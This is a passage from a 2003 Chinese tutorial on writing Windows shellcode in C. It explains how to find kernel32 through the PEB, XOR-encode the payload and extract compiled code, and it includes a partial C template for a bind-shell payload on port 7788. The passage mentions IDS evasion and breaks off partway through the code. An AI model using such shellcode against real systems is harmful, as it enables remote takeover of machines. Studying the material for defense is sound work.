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📄 关于windows下shellcode编写的一点思考.txt

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关于Windows下ShellCode编写的一点思考
 

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By Hume/冷雨 时间:2003-12-6 8:22:02 
   
                                        
  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。


我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改
并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

   原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30    
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c] 
lodsd                
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。

2.几段代码的作用

    在ShellCode提取代码中你或许会经常见到
    temp = *shellcodefnadd;
    if(temp == 0xe9) 
    {
          ++shellcodefnadd;
          k=*(int *)shellcodefnadd;
          shellcodefnadd+=k;
          shellcodefnadd+=4;
    }
    这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

   jmp function

   上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

   还有在代码中会看到:
           jmp    decode_end

decode_start:
           pop    edx
           .......
decode_end:
        
           call    decode_start
Shell_start:

    之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

    在原程序中采用了如下局部变量结构:

        FARPROC     WriteFileadd;
    FARPROC     ReadFileadd;
    FARPROC     PeekNamedPipeadd;
    FARPROC     CloseHandleadd;
    FARPROC     CreateProcessadd;
    FARPROC     CreatePipeadd;
    FARPROC        procloadlib;

    FARPROC     apifnadd[1];

        以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>

void shell();

void __cdecl main(int argc,char *argv[])
{
    FARPROC arg1;
    FARPROC arg2;
    FARPROC arg3;
    FARPROC arg4;
    FARPROC arg5;
    int par1;
    int par2;
    int par3;
    int par4;
    char ch;

    printf("Size of FARPROC %d\n",sizeof(FARPROC));
    printf("\n%X\n%X\n%X\n%X\n%X\n\n  \t%X\n%X\n%X\n%X\n \t%X\n",
        &arg1,
        &arg2,
        &arg3,
        &arg4,
        &arg5,
        &par1,
        &par2,
        &par3,
        &par4,
        &ch

        );
}
在我机器上产生的输出是:

12FF7C
12FF78
12FF74
12FF70
12FF68

        12FF6C
12FF64
12FF60
12FF5C
        12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

    可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
    增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:
    
    API[_APINAME](param,....param);

    即可。

    如果没注释掉有#define  DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。
-------------------------------------------
/*
            使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define  DEBUG 1

//
//函数原型
//
void     DecryptSc();
void     ShellCodes();
void     PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define  BEGINSTRLEN    0x08    //开始字符串长度
#define  ENDSTRLEN      0x08    //结束标记字符的长度
#define  nop_CODE       0x90    //填充字符
#define  nop_LEN        0x0     //ShellCode起始的填充长度
#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT        7788    //绑定端口号 0x1e6c
#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key        0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?
#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?
#define  MAX_api_strlen 0x400   //APIstr字符串的长度
#define  API_endstr     "strend"//API结尾标记字符串    
#define  API_endstrlen  0x06    //标记字符串长度

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{       //Kernel32
            _CreatePipe,
            _CreateProcessA,
            _CloseHandle,
            _PeekNamedPipe,
            _ReadFile,
            _WriteFile,
            _ExitProcess,

            //WS2_32
            _socket,
            _bind,
            _listen,
            _accept,
            _send,
            _recv,
            _ioctlsocket,
            _closesocket,

            //本机测试User32
            _MessageBeep,
            _MessageBoxA,
            API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="\x1e\x6c"   //端口地址

            //Kernel32的API函数名称
            "CreatePipe""\x0"
            "CreateProcessA""\x0"
            "CloseHandle""\x0"
            "PeekNamedPipe""\x0"
            "ReadFile""\x0"
            "WriteFile""\x0"
            "ExitProcess""\x0"

            //其它API中用到的API
            "wsock32.dll""\x0"
            "socket""\x0"
            "bind""\x0"
            "listen""\x0"
            "accept""\x0"
            "send""\x0"
            "recv""\x0"
            "ioctlsocket""\x0"
            "closesocket""\x0"
            //本机测试
            "user32.dll""\x0"
            "MessageBeep""\x0"
            "MessageBoxA""\x0"

            "\x0\x0\x0\x0\x0"
            "strend";

  char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串
  char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串

  char  buff[BUFFSIZE];         //缓冲区
  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲
  char  *pDcrypt_addr,
        *pSc_addr;

  int   buff_len;               //缓冲长度
  int   EncCode_len;            //加密编码代码长度
  int   Sc_len;                 //原始ShellCode的长度

  int       i,k;
  unsigned  char ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
      pDcrypt_addr++;
      i=*(int *)pDcrypt_addr;
      pDcrypt_addr+=(i+4);      //此时指向函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始
  else 
  {
      //显示错误信息
      k=0;
      printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
      return 0;
  }

  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

  if (k<MAX_Enc_Len) EncCode_len=k;
  else 
  {
      k=0;
      printf("\nNo End str defined in Decrypt function!Please Check....\n");
      return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充
  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes;     //shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
      pSc_addr++;
      i=*(int *)pSc_addr;
      pSc_addr+=(i+4);      //此时指向函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

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